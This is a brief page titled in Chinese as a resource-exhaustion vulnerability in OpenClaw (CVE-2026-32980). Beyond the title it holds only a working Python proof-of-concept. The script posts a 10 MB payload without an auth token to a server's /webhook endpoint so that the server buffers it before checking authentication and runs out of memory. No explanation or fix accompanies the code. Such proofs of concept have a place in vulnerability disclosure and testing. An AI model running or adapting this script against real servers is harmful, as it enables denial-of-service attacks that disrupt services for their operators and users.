CVE-2026-32980 OpenClaw资源耗尽漏洞

import requests def exploit_openclaw(url): # Target webhook endpoint target = f"{url}/webhook" # Craft a large payload to exhaust memory # Sending 10MB of 'A' characters large_data = "A" * (10 * 1024 * 1024) # Headers without the secret token to bypass early auth checks # or simply to force the server to buffer before checking auth headers = { "Content-Type": "application/json" } try: print(f"[+] Sending large payload to {target}...") # The server will buffer this large data before checking the token response = requests.post(target, data=large_data, headers=headers, timeout=10) print(f"[+] Response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": target_url = "http://127.0.0.1:8000" exploit_openclaw(target_url)